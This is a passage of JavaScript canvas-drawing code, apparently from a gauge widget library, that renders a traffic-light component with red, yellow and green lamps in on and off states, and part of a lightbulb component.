imageHeight, 0.081632 * imageWidth, 0.751798 * imageHeight, 0, 0.812949 * imageHeight); ctx.closePath(); greenOnGlowFill = ctx.createRadialGradient(0.5 * imageWidth, 0.809352 * imageHeight, 0, 0.5 * imageWidth, 0.809352 * imageHeight, 0.515306 * imageWidth); greenOnGlowFill.addColorStop(0, 'rgb(65, 187, 126)'); greenOnGlowFill.addColorStop(1, 'rgba(4, 37, 8, 0)'); ctx.fillStyle = greenOnGlowFill; ctx.fill(); ctx.restore(); ctx.restore(); }; var drawGreenOff = function (ctx) { var greenOffFill, greenOffInnerShadowFill; ctx.save(); ctx.save(); ctx.scale(1, 1); ctx.beginPath(); ctx.arc(0.5 * imageWidth, 0.809352 * imageHeight, 0.326530 * imageWidth, 0, TWO_PI, false); greenOffFill = ctx.createRadialGradient(0.5 * imageWidth, 0.809352 * imageHeight, 0, 0.5 * imageWidth, 0.809352 * imageHeight, 0.326530 * imageWidth); greenOffFill.addColorStop(0, 'rgba(0, 255, 0, 0.25)'); greenOffFill.addColorStop(1, 'rgba(0, 255, 0, 0.05)'); ctx.fillStyle = greenOffFill; ctx.fill(); ctx.restore(); ctx.save(); ctx.scale(1, 1); ctx.beginPath(); ctx.arc(0.5 * imageWidth, 0.809352 * imageHeight, 0.326530 * imageWidth, 0, TWO_PI, false); greenOffInnerShadowFill = ctx.createRadialGradient(0.5 * imageWidth, 0.809352 * imageHeight, 0, 0.5 * imageWidth, 0.809352 * imageHeight, 0.326530 * imageWidth); greenOffInnerShadowFill.addColorStop(0, 'rgba(1, 1, 1, 0)'); greenOffInnerShadowFill.addColorStop(0.55, 'rgba(0, 0, 0, 0)'); greenOffInnerShadowFill.addColorStop(0.5501, 'rgba(0, 0, 0, 0)'); greenOffInnerShadowFill.addColorStop(0.78, 'rgba(0, 0, 0, 0.12)'); greenOffInnerShadowFill.addColorStop(0.79, 'rgba(0, 0, 0, 0.12)'); greenOffInnerShadowFill.addColorStop(1, 'rgba(0, 0, 0, 0.5)'); ctx.fillStyle = greenOffInnerShadowFill; ctx.fill(); ctx.restore(); ctx.fillStyle = ctx.createPattern(hatchBuffer, 'repeat'); ctx.fill(); ctx.restore(); }; var drawLightYellow = function (ctx) { var lightYellowFrameFill, lightYellowInnerFill, lightYellowEffectFill, lightYellowInnerShadowFill; ctx.save(); ctx.save(); ctx.scale(1, 1); ctx.beginPath(); ctx.arc(0.5 * imageWidth, 0.496402 * imageHeight, 0.397959 * imageWidth, 0, TWO_PI, false); lightYellowFrameFill = ctx.createLinearGradient(0, 0.356115 * imageHeight, 0, 0.636690 * imageHeight); lightYellowFrameFill.addColorStop(0, '#ffffff'); lightYellowFrameFill.addColorStop(0.05, 'rgb(204, 204, 204)'); lightYellowFrameFill.addColorStop(0.1, 'rgb(153, 153, 153)'); lightYellowFrameFill.addColorStop(0.17, '#666666'); lightYellowFrameFill.addColorStop(0.27, '#333333'); lightYellowFrameFill.addColorStop(1, '#010101'); ctx.fillStyle = lightYellowFrameFill; ctx.fill(); ctx.restore(); ctx.save(); ctx.scale(1.083333, 1); ctx.beginPath(); ctx.arc(0.461538 * imageWidth, 0.507194 * imageHeight, 0.367346 * imageWidth, 0, TWO_PI, false); lightYellowInnerFill = ctx.createLinearGradient(0, 0.377697 * imageHeight, 0, 0.636690 * imageHeight); lightYellowInnerFill.addColorStop(0, '#000000'); lightYellowInnerFill.addColorStop(0.35, '#040404'); lightYellowInnerFill.addColorStop(0.66, '#000000'); lightYellowInnerFill.addColorStop(1, '#010101'); ctx.fillStyle = lightYellowInnerFill; ctx.fill(); ctx.restore(); ctx.save(); ctx.scale(1, 1); ctx.beginPath(); ctx.arc(0.5 * imageWidth, 0.5 * imageHeight, 0.357142 * imageWidth, 0, TWO_PI, false); lightYellowEffectFill = ctx.createRadialGradient(0.5 * imageWidth, 0.5 * imageHeight, 0, 0.5 * imageWidth, 0.5 * imageHeight, 0.362244 * imageWidth); lightYellowEffectFill.addColorStop(0, '#000000'); lightYellowEffectFill.addColorStop(0.88, '#000000'); lightYellowEffectFill.addColorStop(0.95, '#5e5e5e'); lightYellowEffectFill.addColorStop(1, '#010101'); ctx.fillStyle = lightYellowEffectFill; ctx.fill(); ctx.restore(); //lIGHT_YELLOW_4_E_INNER_SHADOW_3_4 ctx.save(); ctx.scale(1, 1); ctx.beginPath(); ctx.arc(0.5 * imageWidth, 0.5 * imageHeight, 0.357142 * imageWidth, 0, TWO_PI, false); lightYellowInnerShadowFill = ctx.createLinearGradient(0, 0.377697 * imageHeight, 0, 0.607913 * imageHeight); lightYellowInnerShadowFill.addColorStop(0, '#000000'); lightYellowInnerShadowFill.addColorStop(1, 'rgba(1, 1, 1, 0)'); ctx.fillStyle = lightYellowInnerShadowFill; ctx.fill(); ctx.restore(); ctx.restore(); }; var drawYellowOn = function (ctx) { var yellowOnFill, yellowOnGlowFill; ctx.save(); ctx.save(); ctx.scale(1, 1); ctx.beginPath(); ctx.arc(0.5 * imageWidth, 0.5 * imageHeight, 0.326530 * imageWidth, 0, TWO_PI, false); yellowOnFill = ctx.createRadialGradient(0.5 * imageWidth, 0.5 * imageHeight, 0, 0.5 * imageWidth, 0.5 * imageHeight, 0.326530 * imageWidth); yellowOnFill.addColorStop(0, '#fed434'); yellowOnFill.addColorStop(1, '#82330c'); ctx.fillStyle = yellowOnFill; ctx.fill(); ctx.restore(); ctx.save(); ctx.beginPath(); ctx.moveTo(0, 0.503597 * imageHeight); ctx.bezierCurveTo(0, 0.600719 * imageHeight, 0.224489 * imageWidth, 0.679856 * imageHeight, 0.5 * imageWidth, 0.679856 * imageHeight); ctx.bezierCurveTo(0.775510 * imageWidth, 0.679856 * imageHeight, imageWidth, 0.600719 * imageHeight, imageWidth, 0.5 * imageHeight); ctx.bezierCurveTo(0.908163 * imageWidth, 0.442446 * imageHeight, 0.704081 * imageWidth, 0.377697 * imageHeight, 0.5 * imageWidth, 0.377697 * imageHeight); ctx.bezierCurveTo(0.285714 * imageWidth, 0.377697 * imageHeight, 0.081632 * imageWidth, 0.442446 * imageHeight, 0, 0.503597 * imageHeight); ctx.closePath(); yellowOnGlowFill = ctx.createRadialGradient(0.5 * imageWidth, 0.5 * imageHeight, 0, 0.5 * imageWidth, 0.5 * imageHeight, 0.515306 * imageWidth); yellowOnGlowFill.addColorStop(0, '#fed434'); yellowOnGlowFill.addColorStop(1, 'rgba(130, 51, 12, 0)'); ctx.fillStyle = yellowOnGlowFill; ctx.fill(); ctx.restore(); ctx.restore(); }; var drawYellowOff = function (ctx) { var yellowOffFill, yellowOffInnerShadowFill; ctx.save(); ctx.save(); ctx.scale(1, 1); ctx.beginPath(); ctx.arc(0.5 * imageWidth, 0.5 * imageHeight, 0.326530 * imageWidth, 0, TWO_PI, false); yellowOffFill = ctx.createRadialGradient(0.5 * imageWidth, 0.5 * imageHeight, 0, 0.5 * imageWidth, 0.5 * imageHeight, 0.326530 * imageWidth); yellowOffFill.addColorStop(0, 'rgba(255, 255, 0, 0.25)'); yellowOffFill.addColorStop(1, 'rgba(255, 255, 0, 0.05)'); ctx.fillStyle = yellowOffFill; ctx.fill(); ctx.restore(); ctx.save(); ctx.scale(1, 1); ctx.beginPath(); ctx.arc(0.5 * imageWidth, 0.5 * imageHeight, 0.326530 * imageWidth, 0, TWO_PI, false); yellowOffInnerShadowFill = ctx.createRadialGradient(0.5 * imageWidth, 0.5 * imageHeight, 0, 0.5 * imageWidth, 0.5 * imageHeight, 0.326530 * imageWidth); yellowOffInnerShadowFill.addColorStop(0, 'rgba(1, 1, 1, 0)'); yellowOffInnerShadowFill.addColorStop(0.55, 'rgba(0, 0, 0, 0)'); yellowOffInnerShadowFill.addColorStop(0.5501, 'rgba(0, 0, 0, 0)'); yellowOffInnerShadowFill.addColorStop(0.78, 'rgba(0, 0, 0, 0.12)'); yellowOffInnerShadowFill.addColorStop(0.79, 'rgba(0, 0, 0, 0.13)'); yellowOffInnerShadowFill.addColorStop(1, 'rgba(0, 0, 0, 0.5)'); ctx.fillStyle = yellowOffInnerShadowFill; ctx.fill(); ctx.restore(); ctx.fillStyle = ctx.createPattern(hatchBuffer, 'repeat'); ctx.fill(); ctx.restore(); }; var drawLightRed = function (ctx) { var lightRedFrameFill, lightRedInnerFill, lightRedEffectFill, lightRedInnerShadowFill; ctx.save(); //lIGHT_RED_7_E_FRAME_0_1 ctx.save(); ctx.scale(1, 1); ctx.beginPath(); ctx.arc(0.5 * imageWidth, 0.187050 * imageHeight, 0.397959 * imageWidth, 0, TWO_PI, false); lightRedFrameFill = ctx.createLinearGradient((0.5 * imageWidth), (0.046762 * imageHeight), ((0.500000) * imageWidth), ((0.327338) * imageHeight)); lightRedFrameFill.addColorStop(0, '#ffffff'); lightRedFrameFill.addColorStop(0.05, '#cccccc'); lightRedFrameFill.addColorStop(0.1, '#999999'); lightRedFrameFill.addColorStop(0.17, '#666666'); lightRedFrameFill.addColorStop(0.27, '#333333'); lightRedFrameFill.addColorStop(1, '#010101'); ctx.fillStyle = lightRedFrameFill; ctx.fill(); ctx.restore(); //lIGHT_RED_7_E_INNER_CLIP_1_2 ctx.save(); ctx.scale(1.083333, 1); ctx.beginPath(); ctx.arc(0.461538 * imageWidth, 0.197841 * imageHeight, 0.367346 * imageWidth, 0, TWO_PI, false); lightRedInnerFill = ctx.createLinearGradient((0.5 * imageWidth), (0.068345 * imageHeight), ((0.500000) * imageWidth), ((0.327338) * imageHeight)); lightRedInnerFill.addColorStop(0, '#000000'); lightRedInnerFill.addColorStop(0.35, '#040404'); lightRedInnerFill.addColorStop(0.66, '#000000'); lightRedInnerFill.addColorStop(1, '#010101'); ctx.fillStyle = lightRedInnerFill; ctx.fill(); ctx.restore(); //lIGHT_RED_7_E_LIGHT_EFFECT_2_3 ctx.save(); ctx.scale(1, 1); ctx.beginPath(); ctx.arc(0.5 * imageWidth, 0.190647 * imageHeight, 0.357142 * imageWidth, 0, TWO_PI, false); lightRedEffectFill = ctx.createRadialGradient((0.5) * imageWidth, ((0.190647) * imageHeight), 0, ((0.5) * imageWidth), ((0.190647) * imageHeight), 0.362244 * imageWidth); lightRedEffectFill.addColorStop(0, '#000000'); lightRedEffectFill.addColorStop(0.88, '#000000'); lightRedEffectFill.addColorStop(0.95, '#5e5e5e'); lightRedEffectFill.addColorStop(1, '#010101'); ctx.fillStyle = lightRedEffectFill; ctx.fill(); ctx.restore(); //lIGHT_RED_7_E_INNER_SHADOW_3_4 ctx.save(); ctx.scale(1, 1); ctx.beginPath(); ctx.arc(0.5 * imageWidth, 0.190647 * imageHeight, 0.357142 * imageWidth, 0, TWO_PI, false); lightRedInnerShadowFill = ctx.createLinearGradient((0.5 * imageWidth), (0.068345 * imageHeight), ((0.500000) * imageWidth), ((0.298561) * imageHeight)); lightRedInnerShadowFill.addColorStop(0, '#000000'); lightRedInnerShadowFill.addColorStop(1, 'rgba(1, 1, 1, 0)'); ctx.fillStyle = lightRedInnerShadowFill; ctx.fill(); ctx.restore(); ctx.restore(); }; var drawRedOn = function (ctx) { var redOnFill, redOnGlowFill; ctx.save(); ctx.save(); ctx.scale(1, 1); ctx.beginPath(); ctx.arc(0.5 * imageWidth, 0.190647 * imageHeight, 0.326530 * imageWidth, 0, TWO_PI, false); redOnFill = ctx.createRadialGradient(0.5 * imageWidth, 0.190647 * imageHeight, 0, 0.5 * imageWidth, 0.190647 * imageHeight, 0.326530 * imageWidth); redOnFill.addColorStop(0, '#ff0000'); redOnFill.addColorStop(1, '#410004'); ctx.fillStyle = redOnFill; ctx.fill(); ctx.restore(); ctx.save(); ctx.beginPath(); ctx.moveTo(0, 0.194244 * imageHeight); ctx.bezierCurveTo(0, 0.291366 * imageHeight, 0.224489 * imageWidth, 0.370503 * imageHeight, 0.5 * imageWidth, 0.370503 * imageHeight); ctx.bezierCurveTo(0.775510 * imageWidth, 0.370503 * imageHeight, imageWidth, 0.291366 * imageHeight, imageWidth, 0.190647 * imageHeight); ctx.bezierCurveTo(0.908163 * imageWidth, 0.133093 * imageHeight, 0.704081 * imageWidth, 0.068345 * imageHeight, 0.5 * imageWidth, 0.068345 * imageHeight); ctx.bezierCurveTo(0.285714 * imageWidth, 0.068345 * imageHeight, 0.081632 * imageWidth, 0.133093 * imageHeight, 0, 0.194244 * imageHeight); ctx.closePath(); redOnGlowFill = ctx.createRadialGradient(0.5 * imageWidth, 0.190647 * imageHeight, 0, 0.5 * imageWidth, 0.190647 * imageHeight, 0.515306 * imageWidth); redOnGlowFill.addColorStop(0, '#ff0000'); redOnGlowFill.addColorStop(1, 'rgba(118, 5, 1, 0)'); ctx.fillStyle = redOnGlowFill; ctx.fill(); ctx.restore(); ctx.restore(); }; var drawRedOff = function (ctx) { var redOffFill, redOffInnerShadowFill; ctx.save(); ctx.save(); ctx.scale(1, 1); ctx.beginPath(); ctx.arc(0.5 * imageWidth, 0.190647 * imageHeight, 0.326530 * imageWidth, 0, TWO_PI, false); redOffFill = ctx.createRadialGradient(0.5 * imageWidth, 0.190647 * imageHeight, 0, 0.5 * imageWidth, 0.190647 * imageHeight, 0.326530 * imageWidth); redOffFill.addColorStop(0, 'rgba(255, 0, 0, 0.25)'); redOffFill.addColorStop(1, 'rgba(255, 0, 0, 0.05)'); ctx.fillStyle = redOffFill; ctx.fill(); ctx.restore(); ctx.save(); ctx.scale(1, 1); ctx.beginPath(); ctx.arc(0.5 * imageWidth, 0.190647 * imageHeight, 0.326530 * imageWidth, 0, TWO_PI, false); redOffInnerShadowFill = ctx.createRadialGradient(0.5 * imageWidth, 0.190647 * imageHeight, 0, 0.5 * imageWidth, 0.190647 * imageHeight, 0.326530 * imageWidth); redOffInnerShadowFill.addColorStop(0, 'rgba(1, 1, 1, 0)'); redOffInnerShadowFill.addColorStop(0.55, 'rgba(0, 0, 0, 0)'); redOffInnerShadowFill.addColorStop(0.5501, 'rgba(0, 0, 0, 0)'); redOffInnerShadowFill.addColorStop(0.78, 'rgba(0, 0, 0, 0.12)'); redOffInnerShadowFill.addColorStop(0.79, 'rgba(0, 0, 0, 0.13)'); redOffInnerShadowFill.addColorStop(1, 'rgba(0, 0, 0, 0.5)'); ctx.fillStyle = redOffInnerShadowFill; ctx.fill(); ctx.restore(); ctx.fillStyle = ctx.createPattern(hatchBuffer, 'repeat'); ctx.fill(); ctx.restore(); }; function drawToBuffer(width, height, drawFunction) { var buffer = doc.createElement('canvas'); buffer.width = width; buffer.height = height; drawFunction(buffer.getContext('2d')); return buffer; } var hatchBuffer = drawToBuffer(2, 2, function (ctx) { ctx.save(); ctx.strokeStyle = 'rgba(0, 0, 0, 0.1)'; ctx.beginPath(); ctx.lineTo(0, 0, 1, 0); ctx.lineTo(0, 1, 0, 1); ctx.stroke(); ctx.restore(); }); var init = function () { initialized = true; drawHousing(housingCtx); drawLightGreen(lightGreenCtx); drawGreenOn(greenOnCtx); drawGreenOff(greenOffCtx); drawLightYellow(lightYellowCtx); drawYellowOn(yellowOnCtx); drawYellowOff(yellowOffCtx); drawLightRed(lightRedCtx); drawRedOn(redOnCtx); drawRedOff(redOffCtx); }; // ************** P U B L I C M E T H O D S ******************************** this.setRedOn = function (on) { redOn = !!on; this.repaint(); }; this.isRedOn = function () { return redOn; }; this.setYellowOn = function (on) { yellowOn = !!on; this.repaint(); }; this.isYellowOn = function () { return yellowOn; }; this.setGreenOn = function (on) { greenOn = !!on; this.repaint(); }; this.isGreenOn = function () { return greenOn; }; this.repaint = function () { if (!initialized) { init(); } mainCtx.save(); mainCtx.clearRect(0, 0, mainCtx.canvas.width, mainCtx.canvas.height); // housing mainCtx.drawImage(housingBuffer, 0, 0); // Green light mainCtx.drawImage(lightGreenBuffer, 0, 0); if (greenOn) { mainCtx.drawImage(greenOnBuffer, 0, 0); } mainCtx.drawImage(greenOffBuffer, 0, 0); // Yellow light mainCtx.drawImage(lightYellowBuffer, 0, 0); if (yellowOn) { mainCtx.drawImage(yellowOnBuffer, 0, 0); } mainCtx.drawImage(yellowOffBuffer, 0, 0); // Red light mainCtx.drawImage(lightRedBuffer, 0, 0); if (redOn) { mainCtx.drawImage(redOnBuffer, 0, 0); } mainCtx.drawImage(redOffBuffer, 0, 0); mainCtx.restore(); }; // Visualize the component this.repaint(); return this; }; var lightbulb = function (canvas, parameters) { parameters = parameters || {}; var mainCtx, // parameters width = (undefined === parameters.width ? 0 : parameters.width), height = (undefined === parameters.height ? 0 : parameters.height), glowColor = (undefined === parameters.glowColor ? '#ffff00' : parameters.glowColor), // size, imageWidth, imageHeight, initialized = false, lightOn = false, alpha = 1, offBuffer = doc.createElement('canvas'), offCtx = offBuffer.getContext('2d'), onBuffer = doc.createElement('canvas'), onCtx = onBuffer.getContext('2d'), bulbBuffer = doc.createElement('canvas'), bulbCtx = bulbBuffer.getContext('2d'); // End of variables // Get the canvas context and clear it mainCtx = document.getElementById(canvas).getContext('2d'); // Has a size been specified? if (width === 0) { width = mainCtx.canvas.width; } if (height === 0) { height = mainCtx.canvas.height; } // Get the size mainCtx.canvas.width = width; mainCtx.canvas.height = height; size = width < height ? width : height; imageWidth = size; imageHeight = size; function drawToBuffer(width, height, drawFunction) { var buffer = doc.createElement('canvas'); buffer.width = width; buffer.height = height; drawFunction(buffer.getContext('2d')); return buffer; } var getColorValues = function (color) { var colorData, lookupBuffer = drawToBuffer(1, 1, function (ctx) { ctx.fillStyle = color; ctx.beginPath(); ctx.rect(0, 0, 1, 1); ctx.fill(); }); colorData = lookupBuffer.getContext('2d').getImageData(0, 0, 2, 2).data; return [colorData[0], colorData[1], colorData[2]]; }; offBuffer.width = imageWidth; offBuffer.height = imageHeight; onBuffer.width = imageWidth; onBuffer.height = imageHeight; bulbBuffer.width = imageWidth; bulbBuffer.height = imageHeight; var drawOff = function (ctx) { var glassOffFill; ctx.save(); ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); ctx.save(); ctx.beginPath(); ctx.moveTo(0.289473 * imageWidth, 0.438596 * imageHeight); ctx.bezierCurveTo(0.289473 * imageWidth, 0.561403 * imageHeight, 0.385964 * imageWidth, 0.605263 * imageHeight, 0.385964 * imageWidth, 0.745614 * imageHeight); ctx.bezierCurveTo(0.385964 * imageWidth, 0.745614 * imageHeight, 0.587719 * imageWidth, 0.745614 * imageHeight, 0.587719 * imageWidth, 0.745614 * imageHeight); ctx.bezierCurveTo(0.587719 * imageWidth, 0.605263 * imageHeight, 0.692982 * imageWidth, 0.561403 * imageHeight, 0.692982 * imageWidth, 0.438596 * imageHeight); ctx.bezierCurveTo(0.692982 * imageWidth, 0.324561 * imageHeight, 0.605263 * imageWidth, 0.228070 * imageHeight, 0.5 * imageWidth, 0.228070 * imageHeight); ctx.bezierCurveTo(0.385964 * imageWidth, 0.228070 * imageHeight, 0.289473 * imageWidth, 0.324561 * imageHeight, 0.289473 * imageWidth, 0.438596 * imageHeight); ctx.closePath(); glassOffFill = ctx.createLinearGradient(0, 0.289473 * imageHeight, 0, 0.701754 * imageHeight); glassOffFill.addColorStop(0, '#eeeeee'); glassOffFill.addColorStop(0.99, '#999999'); glassOffFill.addColorStop(1, '#999999'); ctx.fillStyle = glassOffFill; ctx.fill(); ctx.lineCap = 'butt'; ctx.lineJoin = 'round'; ctx.lineWidth = 0.008771 * imageWidth; ctx.strokeStyle = '#cccccc'; ctx.stroke(); ctx.restore(); ctx.restore(); }; var drawOn = function (ctx) { var glassOnFill, data = getColorValues(glowColor), red = data[0], green = data[1], blue = data[2], hsl = rgbToHsl(red, green, blue); ctx.save(); ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); ctx.save(); ctx.beginPath(); ctx.moveTo(0.289473 * imageWidth, 0.438596 * imageHeight); ctx.bezierCurveTo(0.289473 * imageWidth, 0.561403 * imageHeight, 0.385964 * imageWidth, 0.605263 * imageHeight, 0.385964 * imageWidth, 0.745614 * imageHeight); ctx.bezierCurveTo(0.385964 * imageWidth, 0.745614 * imageHeight, 0.587719 * imageWidth, 0.745614 * imageHeight, 0.587719 * imageWidth, 0.745614 * imageHeight); ctx.bezierCurveTo(0.587719 * imageWidth, 0.605263 * imageHeight, 0.692982 * imageWidth, 0.561403 * imageHeight, 0.692982 * imageWidth, 0.438596 * imageHeight); ctx.bezierCurveTo(0.692982 * imageWidth, 0.324561 * imageHeight, 0.605263 * imageWidth, 0.228070 * imageHeight, 0.5 * imageWidth, 0.228070 * imageHeight); ctx.bezierCurveTo(0.385964 * imageWidth, 0.228070 * imageHeight, 0.289473 * imageWidth, 0.324561 * imageHeight, 0.289473 * imageWidth, 0.438596 * imageHeight); ctx.closePath(); glassOnFill = ctx.createLinearGradient(0, 0.289473 * imageHeight, 0, 0.701754 * imageHeight); if (red === green && green === blue) { glassOnFill.addColorStop(0, 'hsl(0, 60%, 0%)'); glassOnFill.addColorStop(1, 'hsl(0, 40%, 0%)'); } else { glassOnFill.addColorStop(0, 'hsl(' + hsl[0] * 255 + ', ' + hsl[1] * 100 + '%, 70%)'); glassOnFill.addColorStop(1, 'hsl(' + hsl[0] * 255 + ', ' + hsl[1] * 100 + '%, 80%)'); } ctx.fillStyle = glassOnFill; // sets shadow properties ctx.shadowOffsetX = 0; ctx.shadowOffsetY = 0; ctx.shadowBlur = 30; ctx.shadowColor = glowColor; ctx.fill(); ctx.lineCap = 'butt'; ctx.lineJoin = 'round'; ctx.lineWidth = 0.008771 * imageWidth; ctx.strokeStyle = 'rgba(' + red + ', ' + green + ', ' + blue + ', 0.4)'; ctx.stroke(); ctx.restore(); ctx.restore(); }; var drawBulb = function (ctx) { var highlight, winding, winding1, contactPlate; ctx.save(); ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height); ctx.save(); ctx.beginPath(); ctx.moveTo(0.350877 * imageWidth, 0.333333 * imageHeight); ctx.bezierCurveTo(0.350877 * imageWidth, 0.280701 * imageHeight, 0.412280 * imageWidth, 0.236842 * imageHeight, 0.5 * imageWidth, 0.236842 * imageHeight); ctx.bezierCurveTo(0.578947 * imageWidth, 0.236842 * imageHeight, 0.640350 * imageWidth, 0.280701 * imageHeight, 0.640350 * imageWidth, 0.333333 * imageHeight); ctx.bezierCurveTo(0.640350 * imageWidth, 0.385964 * imageHeight, 0.578947 * imageWidth, 0.429824 * imageHeight, 0.5 * imageWidth, 0.429824 * imageHeight); ctx.bezierCurveTo(0.412280 * imageWidth, 0.429824 * imageHeight, 0.350877 * imageWidth, 0.385964 * imageHeight, 0.350877 * imageWidth, 0.333333 * imageHeight); ctx.closePath(); highlight = ctx.createLinearGradient(0, 0.245614 * imageHeight, 0, 0.429824 * imageHeight); highlight.addColorStop(0, '#ffffff'); highlight.addColorStop(0.99, 'rgba(255, 255, 255, 0)'); highlight.addColorStop(1, 'rgba(255, 255, 255, 0)'); ctx.fillStyle = highlight; ctx.fill(); ctx.restore(); //winding ctx.save(); ctx.beginPath(); ctx.moveTo(0.377192 * imageWidth, 0.745614 * imageHeight); ctx.bezierCurveTo(0.377192 * imageWidth, 0.745614 * imageHeight, 0.429824 * imageWidth, 0.728070 * imageHeight, 0.491228 * imageWidth, 0.728070 * imageHeight); ctx.bezierCurveTo(0.561403 * imageWidth, 0.728070 * imageHeight, 0.605263 * imageWidth, 0.736842 * imageHeight, 0.605263 * imageWidth, 0.736842 * imageHeight); ctx.lineTo(0.605263 * imageWidth, 0.763157 * imageHeight); ctx.lineTo(0.596491 * imageWidth, 0.780701 * imageHeight); ctx.lineTo(0.605263 * imageWidth, 0.798245 * imageHeight); ctx.lineTo(0.596491 * imageWidth, 0.815789 * imageHeight); ctx.lineTo(0.605263 * imageWidth, 0.833333 * imageHeight); ctx.lineTo(0.596491 * imageWidth, 0.850877 * imageHeight); ctx.lineTo(0.605263 * imageWidth, 0.868421 * imageHeight); ctx.lineTo(0.596491 * imageWidth, 0.885964 * imageHeight); ctx.lineTo(0.605263 * imageWidth, 0.894736 * imageHeight); ctx.bezierCurveTo(0.605263 * imageWidth, 0.894736 * imageHeight, 0.570175 * imageWidth, 0.956140 * imageHeight, 0.535087 * imageWidth, 0.991228 * imageHeight); ctx.bezierCurveTo(0.526315 * imageWidth, 0.991228 * imageHeight, 0.517543 * imageWidth, imageHeight, 0.5 * imageWidth, imageHeight); ctx.bezierCurveTo(0.482456 * imageWidth, imageHeight, 0.473684 * imageWidth, imageHeight, 0.464912 * imageWidth, 0.991228 * imageHeight); ctx.bezierCurveTo(0.421052 * imageWidth, 0.947368 * imageHeight, 0.394736 * imageWidth, 0.903508 * imageHeight, 0.394736 * imageWidth, 0.903508 * imageHeight); ctx.lineTo(0.394736 * imageWidth, 0.894736 * imageHeight); ctx.lineTo(0.385964 * imageWidth, 0.885964 * imageHeight); ctx.lineTo(0.394736 * imageWidth, 0.868421 * imageHeight); ctx.lineTo(0.385964 * imageWidth, 0.850877 * imageHeight); ctx.lineTo(0.394736 * imageWidth, 0.833333 * imageHeight); ctx.lineTo(0.385964 * imageWidth, 0.815789 * imageHeight); ctx.lineTo(0.394736 * imageWidth, 0.798245 * imageHeight); ctx.lineTo(0.377192 * imageWidth, 0.789473 * imageHeight); ctx.lineTo(0.394736 * imageWidth, 0.771929 * imageHeight); ctx.lineTo(0.377192 * imageWidth, 0.763157 * imageHeight); ctx.lineTo(0.377192 * imageWidth, 0.745614 * imageHeight); ctx.closePath(); winding = ctx.createLinearGradient(0.473684 * imageWidth, 0.728070 * imageHeight, 0.484702 * imageWidth, 0.938307 * imageHeight); winding.addColorStop(0, '#333333'); winding.addColorStop(0.04, '#d9dad6'); winding.addColorStop(0.19, '#e4e5e0'); winding.addColorStop(0.24, '#979996'); winding.addColorStop(0.31, '#fbffff'); winding.addColorStop(0.4, '#818584'); winding.addColorStop(0.48, '#f5f7f4'); winding.addColorStop(0.56, '#959794'); winding.addColorStop(0.64, '#f2f2f0'); winding.addColorStop(0.7, '#828783'); winding.addColorStop(0.78, '#fcfcfc'); winding.addColorStop(1, '#666666'); ctx.fillStyle = winding; ctx.fill(); ctx.restore(); // winding ctx.save(); ctx.beginPath(); ctx.moveTo(0.377192 * imageWidth, 0.745614 * imageHeight); ctx.bezierCurveTo(0.377192 * imageWidth, 0.745614 * imageHeight, 0.429824 * imageWidth, 0.728070 * imageHeight, 0.491228 * imageWidth, 0.728070 * imageHeight); ctx.bezierCurveTo(0.561403 * imageWidth, 0.728070 * imageHeight, 0.605263 * imageWidth, 0.736842 * imageHeight, 0.605263 * imageWidth, 0.736842 * imageHeight); ctx.lineTo(0.605263 * imageWidth, 0.763157 * imageHeight); ctx.lineTo(0.596491 * imageWidth, 0.780701 * imageHeight); ctx.lineTo(0.605263 * imageWidth, 0.798245 * imageHeight); ctx.lineTo(0.596491 * imageWidth, 0.815789 * imageHeight); ctx.lineTo(0.605263 * imageWidth, 0.833333 * imageHeight); ctx.lineTo(0.596491 * imageWidth, 0.850877 * imageHeight); ctx.lineTo(0.605263 * imageWidth, 0.868421 * imageHeight); ctx.lineTo(0.596491 * imageWidth, 0.885964 * imageHeight); ctx.lineTo(0.605263 * imageWidth, 0.894736 * imageHeight); ctx.bezierCurveTo(0.605263 * imageWidth, 0.894736 * imageHeight, 0.570175 * imageWidth, 0.956140 * imageHeight, 0.535087 * imageWidth, 0.991228 * imageHeight); ctx.bezierCurveTo(0.526315 * imageWidth, 0.991228 * imageHeight, 0.517543 * imageWidth, imageHeight, 0.5 * imageWidth, imageHeight); ctx.bezierCurveTo(0.482456 * imageWidth, imageHeight, 0.473684 * imageWidth, imageHeight, 0.464912 * imageWidth, 0.991228 * imageHeight); ctx.bezierCurveTo(0.421052 * imageWidth, 0.947368 * imageHeight, 0.394736 * imageWidth, 0.903508 * imageHeight, 0.394736 * imageWidth, 0.903508 * imageHeight); ctx.lineTo(0.394736 * imageWidth, 0.894736 * imageHeight); ctx.lineTo(0.385964 * imageWidth, 0.885964 * imageHeight); ctx.lineTo(0.394736 * imageWidth, 0.868421 * imageHeight); ctx.lineTo(0.385964 * imageWidth, 0.850877 * imageHeight); ctx.lineTo(0.394736 * imageWidth, 0.833333 * imageHeight); ctx.lineTo(0.385964 * imageWidth, 0.815789 * imageHeight); ctx.lineTo(0.394736 * imageWidth, 0.798245 * imageHeight); ctx.lineTo(0.377192 * imageWidth, 0.789473 * imageHeight); ctx.lineTo(0.394736 * imageWidth, 0.771929 * imageHeight); ctx.lineTo(0.377192 * imageWidth, 0.763157 * imageHeight); ctx.lineTo(0.377192 * imageWidth, 0.745614 * imageHeight); ctx.closePath(); winding1 = ctx.createLinearGradient(0.377192 * imageWidth, 0.789473 * imageHeight, 0.605263 * imageWidth, 0.789473 * imageHeight); winding1.addColorStop(0, 'rgba(0, 0, 0, 0.4)'); winding1.addColorStop(0.15, 'rgba(0, 0, 0, 0.32)'); winding1.addColorStop(0.85, 'rgba(0, 0, 0, 0.33)'); winding1.addColorStop(1, 'rgba(0, 0, 0, 0.4)'); ctx.fillStyle = winding1; ctx.fill(); ctx.restore(); // contact plate ctx.save(); ctx.beginPath(); ctx.moveTo(0.421052 * imageWidth, 0.947368 * imageHeight); ctx.bezierCurveTo(0.438596 * imageWidth, 0.956140 * imageHeight, 0.447368 * imageWidth, 0.973684 * imageHeight, 0.464912 * imageWidth, 0.991228 * imageHeight); ctx.bezierCurveTo(0.473684 * imageWidth, imageHeight, 0.482456 * imageWidth, imageHeight, 0.5 * imageWidth, imageHeight); ctx.bezierCurveTo(0.517543 * imageWidth, imageHeight, 0.526315 * imageWidth, 0.991228 * imageHeight, 0.535087 * imageWidth, 0.991228 * imageHeight); ctx.bezierCurveTo(0.543859 * imageWidth, 0.982456 * imageHeight, 0.561403 * imageWidth, 0.956140 * imageHeight, 0.578947 * imageWidth, 0.947368 * imageHeight); ctx.bezierCurveTo(0.552631 * imageWidth, 0.938596 * imageHeight, 